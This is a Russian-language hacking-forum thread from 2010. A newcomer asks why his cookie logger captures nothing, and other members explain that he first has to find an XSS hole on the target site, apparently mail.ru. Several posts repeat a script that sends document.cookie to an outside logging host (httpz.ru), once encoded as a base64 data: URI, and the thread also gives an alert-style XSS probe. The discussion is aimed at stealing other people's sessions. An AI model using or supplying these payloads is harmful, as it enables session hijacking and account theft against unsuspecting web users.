куки

Discussion in 'Уязвимости' started by гаррет-тень, 9 Mar 2010.

  1. гаррет-тень

    Joined:
    21 Dec 2009
    Messages:
    67
    Likes Received:
    2
    Reputations:
    0
    09.03.2010 16:00:49 []
    IP: 92.126.**.*** Real IP*: 92.126.**.***, 193.169.***.***

    QUERY:


    cck_count=0; cck_lasttime=1**8***641***

    REFERER: empty
    AGENT: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.2) Gecko/20***115 Firefox/3.6 (.NET CLR 3.5.3***9) и где тут куки???
     
  2. shuba

    shuba Elder - Старейшина

    Joined:
    22 May 2009
    Messages:
    620
    Likes Received:
    127
    Reputations:
    52
    Нету

    в куках по крайней мере мыло должно быть видно
     
  3. root_sashok

    root_sashok Elder - Старейшина

    Joined:
    4 Aug 2008
    Messages:
    389
    Likes Received:
    573
    Reputations:
    102
    QUERY, собственно.
     
  4. гаррет-тень

    Joined:
    21 Dec 2009
    Messages:
    67
    Likes Received:
    2
    Reputations:
    0
    вот именно, я подкидываю файл с таким содержанием <script>
    img = new Image(); img.src = "http://httpz.ru/nphir8lxm1y.gif?"+document.cookie;
    </script> И ГДЕ МОИ КУКИ????
     
  5. warlok

    warlok Elder - Старейшина

    Joined:
    17 Feb 2008
    Messages:
    337
    Likes Received:
    142
    Reputations:
    81
    ты не прав
    повидимому вот это
    Code:
    cck_count=0; cck_lasttime=1**8***641***
    
     
  6. гаррет-тень

    Joined:
    21 Dec 2009
    Messages:
    67
    Likes Received:
    2
    Reputations:
    0
    куки же длинные? по крайней мере те которые я видел
     
  7. seofilms

    seofilms Elder - Старейшина

    Joined:
    27 May 2009
    Messages:
    74
    Likes Received:
    46
    Reputations:
    14
    и что ты планировал тут увидеть ??? у тебя запишется только Ip + в query надпись document.cookies;, тебе надо еще найти xss на сайте...
     
  8. warlok

    warlok Elder - Старейшина

    Joined:
    17 Feb 2008
    Messages:
    337
    Likes Received:
    142
    Reputations:
    81
    они любыми могут быть, посмотри как например работает функция setcookie() в php
     
  9. Alk@sh

    Alk@sh Member

    Joined:
    5 Jul 2009
    Messages:
    26
    Likes Received:
    9
    Reputations:
    0
    самое главное тебе надо найти xss
     
    2 people like this.
  10. гаррет-тень

    Joined:
    21 Dec 2009
    Messages:
    67
    Likes Received:
    2
    Reputations:
    0
    я мейловские куки глянул, они большие, да и видео когда смотрел там большие
     
    1 person likes this.
  11. гаррет-тень

    Joined:
    21 Dec 2009
    Messages:
    67
    Likes Received:
    2
    Reputations:
    0
    я видео смотрел и читал на мейле так ломают?
     
  12. гаррет-тень

    Joined:
    21 Dec 2009
    Messages:
    67
    Likes Received:
    2
    Reputations:
    0
    точнее так можно)
     
  13. tracy

    tracy Elder - Старейшина

    Joined:
    24 Mar 2009
    Messages:
    245
    Likes Received:
    119
    Reputations:
    40
    Ты видимо не правильный запрос вписал
     
  14. гаррет-тень

    Joined:
    21 Dec 2009
    Messages:
    67
    Likes Received:
    2
    Reputations:
    0
    а как по правильно? открой тайну)
     
  15. гаррет-тень

    Joined:
    21 Dec 2009
    Messages:
    67
    Likes Received:
    2
    Reputations:
    0
    в setcookie данные передаются из формы... имеешь в виду чем длиннее введенные данные в форме тем длиннее куки?)
     
  16. warlok

    warlok Elder - Старейшина

    Joined:
    17 Feb 2008
    Messages:
    337
    Likes Received:
    142
    Reputations:
    81
    Неважно с откуда они передаются, я о том это зависит от программиста который сам решает что ему писать в кукисы. Я уж незнаю есть ли там у тебя xss или нет если всеже нет то то заставь вставить твой код в адресную строку при открытой странице.
     
  17. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,588
    Likes Received:
    405
    Reputations:
    196

    этот файл нужно не подкинуть, а сделать так, чтоб
    код

    PHP:
    <script>
    img = new Image(); img.src "http://httpz.ru/nphir8lxm1y.gif?"+document.cookie;
    </script>
    чудесным образом был внедрён на сайт mail.ru (если тебя mail.ru интересует)

    механизм внедрения такого кода называется "XSS"

    Вот когда это условие будет выполнено - приступай к следующему этапу
     
  18. гаррет-тень

    Joined:
    21 Dec 2009
    Messages:
    67
    Likes Received:
    2
    Reputations:
    0
    то есть сначало нужно найти xss, а потом отправлять) спс)
     
  19. гаррет-тень

    Joined:
    21 Dec 2009
    Messages:
    67
    Likes Received:
    2
    Reputations:
    0
    и все-таки не догоняю...
     
  20. гаррет-тень

    Joined:
    21 Dec 2009
    Messages:
    67
    Likes Received:
    2
    Reputations:
    0
    вот например такое проходит PHNjcmlwdD4NCmFsZXJ0KFhTUykNCjwvc2NyaXB0Pg== что равно <script>alert(XSS)</script>. а data:text/html;base64,PHNjcmlwdD4NCmltZyA9IG5ldyBJbWFnZSgpOyBpbWcuc3JjID0gImh0dHA6Ly9odHRwei5ydS9u
    cGhpcjhseG0xeS5naWY/Iitkb2N1bWVudC5jb29raWU7DQo8L3NjcmlwdD4= что значит <script>
    img = new Image(); img.src = "http://httpz.ru/nphir8lxm1y.gif?"+document.cookie;
    </script>
    не проходит( ведь если проходит "><script>alert()</script> значит уязвимость есть, следовательно и куки должны вороваться
     
Loading...